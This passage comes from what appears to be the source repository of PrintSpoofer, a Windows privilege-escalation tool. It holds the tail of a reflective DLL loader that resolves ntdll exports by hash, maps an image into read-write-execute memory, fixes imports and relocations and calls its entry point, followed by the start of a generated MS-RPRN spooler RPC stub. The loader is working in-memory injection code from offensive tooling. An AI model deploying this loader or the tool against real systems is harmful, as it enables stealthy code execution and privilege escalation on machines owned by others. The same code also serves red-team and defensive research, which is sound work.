sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if ((DWORD)uiValueC == NTDLLDLL_HASH) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while (usCounter > 0) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 239 | 240 | // store this functions VA 241 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF(uiValueA); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while (uiValueA--) 279 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while (uiValueE--) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while (uiValueD--) 300 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof(IMAGE_SECTION_HEADER); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 314 | 315 | // itterate through all imports 316 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while (DEREF(uiValueA)) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = (uiBaseAddress + DEREF(uiValueA)); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof(ULONG_PTR); 361 | if (uiValueD) 362 | uiValueD += sizeof(ULONG_PTR); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 376 | 377 | // check if their are any relocations present 378 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 382 | 383 | // and we itterate through all entries... 384 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while (uiValueB--) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) 402 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) 404 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 416 | // sanity chack we are processing a MOV instruction... 417 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)(dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 435 | } 436 | } 437 | #endif 438 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) 439 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) 441 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof(IMAGE_RELOC); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch (dwReason) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if (lpReserved != NULL) 482 | *(HMODULE*)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// -------------------------------------------------------------------------------- /PrintSpoofer/ms-rprn_s.c: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the RPC server stubs */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0622 */ 7 | /* at Tue Jan 19 11:14:07 2038 8 | */ 9 | /* Compiler settings for ms-rprn.idl: 10 | Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622 11 | protocol : dce , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | #if !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) 20 | 21 | 22 | #if _MSC_VER >= 1200 23 | #pragma warning(push) 24 | #endif 25 | 26 | #pragma warning( disable: 4211 ) /* redefine extern to static */ 27 | #pragma warning( disable: 4232 ) /* dllimport identity*/ 28 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/ 29 | #pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */ 30 | 31 | #pragma optimize("", off ) 32 | 33 | #include 34 | #include "ms-rprn_h.h" 35 | 36 | #define TYPE_FORMAT_STRING_SIZE 159 37 | #define PROC_FORMAT_STRING_SIZE 2251 38 | #define EXPR_FORMAT_STRING_SIZE 1 39 | #define TRANSMIT_AS_TABLE_SIZE 0 40 | #define WIRE_MARSHAL_TABLE_SIZE 0 41 | 42 | typedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING 43 | { 44 | short Pad; 45 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; 46 | } ms2Drprn_MIDL_TYPE_FORMAT_STRING; 47 | 48 | typedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING 49 | { 50 | short Pad; 51 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; 52 | } ms2Drprn_MIDL_PROC_FORMAT_STRING; 53 | 54 | typedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING 55 | { 56 | long Pad; 57 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; 58 | } ms2Drprn_MIDL_EXPR_FORMAT_STRING; 59 | 60 | 61 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax = 62 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; 63 | 64 | extern const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString; 65 | extern const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString; 66 | extern const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString; 67 | 68 | /* Standard interface: winspool, ver. 1.0, 69 | GUID={0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}} */ 70 | 71 | 72 | extern const MIDL_SERVER_INFO winspool_ServerInfo; 73 | static const RPC_PROTSEQ_ENDPOINT __RpcProtseqEndpoint[] = 74 | { 75 | {(unsigned char *) "ncacn_np", (unsigned char *) "\\pipe\\spoolss"} 76 | }; 77 | 78 | 79 | extern const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable; 80 | 81 | static const RPC_SERVER_INTERFACE winspool___RpcServerInterface = 82 | { 83 | sizeof(RPC_SERVER_INTERFACE), 84 | {{0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}},{1,0}}, 85 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, 86 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable, 87 | 1, 88 | (RPC_PROTSEQ_ENDPOINT *)__RpcProtseqEndpoint, 89 | 0, 90 | &winspool_ServerInfo, 91 | 0x04000000 92 | }; 93 | RPC_IF_HANDLE winspool_v1_0_s_ifspec = (RPC_IF_HANDLE)& winspool___RpcServerInterface; 94 | 95 | extern const MIDL_STUB_DESC winspool_StubDesc; 96 | 97 | extern const NDR_RUNDOWN RundownRoutines[]; 98 | 99 | #if !defined(__RPC_WIN32__) 100 | #error Invalid build platform for this stub. 101 | #endif 102 | #if !(TARGET_IS_NT60_OR_LATER) 103 | #error You need Windows Vista or later to run this stub because it uses these features: 104 | #error forced complex structure or array, compiled for Windows Vista. 105 | #error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems. 106 | #error This app will fail with the RPC_X_WRONG_STUB_VERSION error. 107 | #endif 108 | 109 | 110 | static const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString = 111 | { 112 | 0, 113 | { 114 | 115 | /* Procedure RpcEnumPrinters */ 116 | 117 | 0x0, /* 0 */ 118 | 0x48, /* Old Flags: */ 119 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */ 120 | /* 6 */ NdrFcShort( 0x0 ), /* 0 */ 121 | /* 8 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 122 | /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */ 123 | 0x0, /* 0 */ 124 | /* 12 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 125 | /* 14 */ NdrFcShort( 0x0 ), /* 0 */ 126 | /* 16 */ NdrFcShort( 0x8 ), /* 8 */ 127 | /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */ 128 | 0x1, /* 1 */ 129 | /* 20 */ 0x8, /* 8 */ 130 | 0x1, /* Ext Flags: new corr desc, */ 131 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */ 132 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */ 133 | /* 26 */ NdrFcShort( 0x0 ), /* 0 */ 134 | 135 | /* Return value */ 136 | 137 | /* 28 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 138 | /* 30 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 139 | /* 32 */ 0x8, /* FC_LONG */ 140 | 0x0, /* 0 */ 141 | 142 | /* Procedure RpcOpenPrinter */ 143 | 144 | /* 34 */ 0x0, /* 0 */ 145 | 0x48, /* Old Flags: */ 146 | /* 36 */ NdrFcLong( 0x0 ), /* 0 */ 147 | /* 40 */ NdrFcShort( 0x1 ), /* 1 */ 148 | /* 42 */ NdrFcShort( 0x18 ), /* x86 Stack size/offset = 24 */ 149 | /* 44 */ 0x31, /* FC_BIND_GENERIC */ 150 | 0x4, /* 4 */ 151 | /* 46 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 152 | /* 48 */ 0x0, /* 0 */ 153 | 0x5c, /* FC_PAD */ 154 | /* 50 */ NdrFcShort( 0x8 ), /* 8 */ 155 | /* 52 */ NdrFcShort( 0x40 ), /* 64 */ 156 | /* 54 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 157 | 0x6, /* 6 */ 158 | /* 56 */ 0x8, /* 8 */ 159 | 0x5, /* Ext Flags: new corr desc, srv corr check, */ 160 | /* 58 */ NdrFcShort( 0x0 ), /* 0 */ 161 | /* 60 */ NdrFcShort( 0x1 ), /* 1 */ 162 | /* 62 */ NdrFcShort( 0x0 ), /* 0 */ 163 | 164 | /* Parameter pPrinterName */ 165 | 166 | /* 64 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 167 | /* 66 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 168 | /* 68 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 169 | 170 | /* Parameter pHandle */ 171 | 172 | /* 70 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ 173 | /* 72 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 174 | /* 74 */ NdrFcShort( 0xa ), /* Type Offset=10 */ 175 | 176 | /* Parameter pDatatype */ 177 | 178 | /* 76 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 179 | /* 78 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 180 | /* 80 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 181 | 182 | /* Parameter pDevModeContainer */ 183 | 184 | /* 82 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ 185 | /* 84 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */ 186 | /* 86 */ NdrFcShort( 0x1e ), /* Type Offset=30 */ 187 | 188 | /* Parameter AccessRequired */ 189 | 190 | /* 88 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 191 | /* 90 */ NdrFcShort( 0x10 ), /* x86 Stack size/offset = 16 */ 192 | /* 92 */ 0x8, /* FC_LONG */ 193 | 0x0, /* 0 */ 194 | 195 | /* Return value */ 196 | 197 | /* 94 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 198 | /* 96 */ NdrFcShort( 0x14 ), /* x86 Stack size/offset = 20 */ 199 | /* 98 */ 0x8, /* FC_LONG */ 200 | 0x0, /* 0 */ 201 | 202 | /* Procedure RpcSetJob */ 203 | 204 | /* 100 */ 0x0, /* 0 */ 205 | 0x48, /* Old Flags: */ 206 | /* 102 */ NdrFcLong( 0x0 ), /* 0 */ 207 | /* 106 */ NdrFcShort( 0x2 ), /* 2 */ 208 | /* 108 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 209 | /* 110 */ 0x32, /* FC_BIND_PRIMITIVE */ 210 | 0x0, /* 0 */ 211 | /* 112 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 212 | /* 114 */ NdrFcShort( 0x0 ), /* 0 */ 213 | /* 116 */ NdrFcShort( 0x8 ), /* 8 */ 214 | /* 118 */ 0x44, /* Oi2 Flags: has return, has ext, */ 215 | 0x1, /* 1 */ 216 | /* 120 */ 0x8, /* 8 */ 217 | 0x1, /* Ext Flags: new corr desc, */ 218 | /* 122 */ NdrFcShort( 0x0 ), /* 0 */ 219 | /* 124 */ NdrFcShort( 0x0 ), /* 0 */ 220 | /* 126 */ NdrFcShort( 0x0 ), /* 0 */ 221 | 222 | /* Return value */ 223 | 224 | /* 128 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 225 | /* 130 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 226 | /* 132 */ 0x8, /* FC_LONG */ 227 | 0x0, /* 0 */ 228 | 229 | /* Procedure RpcGetJob */ 230 | 231 | /* 134 */ 0x0, /* 0 */ 232 | 0x48, /* Old Flags: */ 233 | /* 136 */ NdrFcLong( 0x0 ), /* 0 */ 234 | /* 140 */ NdrFcShort( 0x3 ), /* 3 */ 235 | /* 142 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 236 | /* 144 */ 0x32, /* FC_BIND_PRIMITIVE */ 237 | 0x0, /* 0 */ 238 | /* 146 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 239 | /* 148 */ NdrFcShort( 0x0 ), /* 0 */ 240 | /* 150 */ NdrFcShort( 0x8 ), /* 8 */ 241 | /* 152 */ 0x44, /* Oi2 Flags: has return, has ext, */ 242 | 0x1, /* 1 */ 243 | /* 154 */ 0x8, /* 8 */ 244 | 0x1, /* Ext Flags: new corr desc, */ 245 | /* 156 */ NdrFcShort( 0x0 ), /* 0 */ 246 | /* 158 */ NdrFcShort( 0x0 ), /* 0 */ 247 | /* 160 */ NdrFcShort( 0x0 ), /* 0 */ 248 | 249 | /* Return value */ 250 | 251 | /* 162 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 252 | /* 164 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 253 | /* 166 */ 0x8, /* FC_LONG */ 254 | 0x0, /* 0 */ 255 | 256 | /* Procedure RpcEnumJobs */ 257 | 258 | /* 168 */ 0x0, /* 0 */ 259 | 0x48, /* Old Flags: */ 260 | /* 170 */ NdrFcLong( 0x0 ), /* 0 */ 261 | /* 174 */ NdrFcShort( 0x4 ), /* 4 */ 262 | /* 176 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 263 | /* 178 */ 0x32, /* FC_BIND_PRIMITIVE */ 264 | 0x0, /* 0 */ 265 | /* 180 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 266 | /* 182 */ NdrFcShort( 0x0 ), /* 0 */ 267 | /* 184 */ NdrFcShort( 0x8 ), /* 8 */ 268 | /* 186 */ 0x44, /* Oi2 Flags: has return, has ext, */ 269 | 0x1, /* 1 */ 270 | /* 188 */ 0x8, /* 8 */ 271 | 0x1, /* Ext Flags: new corr desc, */ 272 | /* 190 */ NdrFcShort( 0x0 ), /* 0 */ 273 | /* 192 */ NdrFcShort( 0x0 ), /* 0 */ 274 | /* 194 */ NdrFcShort( 0x0 ), /* 0 */ 275 | 276 | /* Return value */ 277 | 278 | /* 196 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 279 | /* 198 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 280 | /* 200 */ 0x8, /* FC_LONG */ 281 | 0x0, /* 0 */ 282 | 283 | /* Procedure RpcAddPrinter */ 284 | 285 | /* 202 */ 0x0, /* 0 */ 286 | 0x48, /* Old Flags: */ 287 | /* 204 */ NdrFcLong( 0x0 ), /* 0 */ 288 | /* 208 */ NdrFcShort( 0x5 ), /* 5 */ 289 | /* 210 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 290 | /* 212 */ 0x32, /* FC_BIND_PRIMITIVE */ 291 | 0x0, /* 0 */ 292 | /* 214 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 293 | /* 216 */ NdrFcShort( 0x0 ), /* 0 */ 294 | /* 218 */ NdrFcShort( 0x8 ), /* 8 */ 295 | /* 220 */ 0x44, /* Oi2 Flags: has return, has ext, */ 296 | 0x1, /* 1 */ 297 | /* 222 */ 0x8, /* 8 */ 298 | 0x1, /* Ext Flags: new corr desc, */ 299 | /* 224 */ NdrFcShort( 0x0 ), /* 0 */ 300 | /* 226 */ NdrFcShort( 0x0 ), /* 0 */ 301 | /* 228 */ NdrFcShort( 0x0 ), /* 0 */ 302 | 303 | /* Return value */ 304 | 305 | /* 230 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 306 | /* 232 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 307 | /* 234 */ 0x8, /* FC_LONG */ 308 | 0x0, /* 0 */ 309 | 310 | /* Procedure RpcDeletePrinter */ 311 | 312 | /* 236 */ 0x0, /* 0 */ 313 | 0x48, /* Old Flags: */ 314 | /* 238 */ NdrFcLong( 0x0 ), /* 0 */ 315 | /* 242 */ NdrFcShort( 0x6 ), /* 6 */ 316 | /* 244 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 317 | /* 246 */ 0x32, /* FC_BIND_PRIMITIVE */ 318 | 0x0, /* 0 */ 319 | /* 248 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 320 | /* 250 */ NdrFcShort( 0x0 ), /* 0 */ 321 | /* 252 */ NdrFcShort( 0x8 ), /* 8 */ 322 | /* 254 */ 0x44, /* Oi2 Flags: has return, has ext, */ 323 | 0x1, /* 1 */ 324 | /* 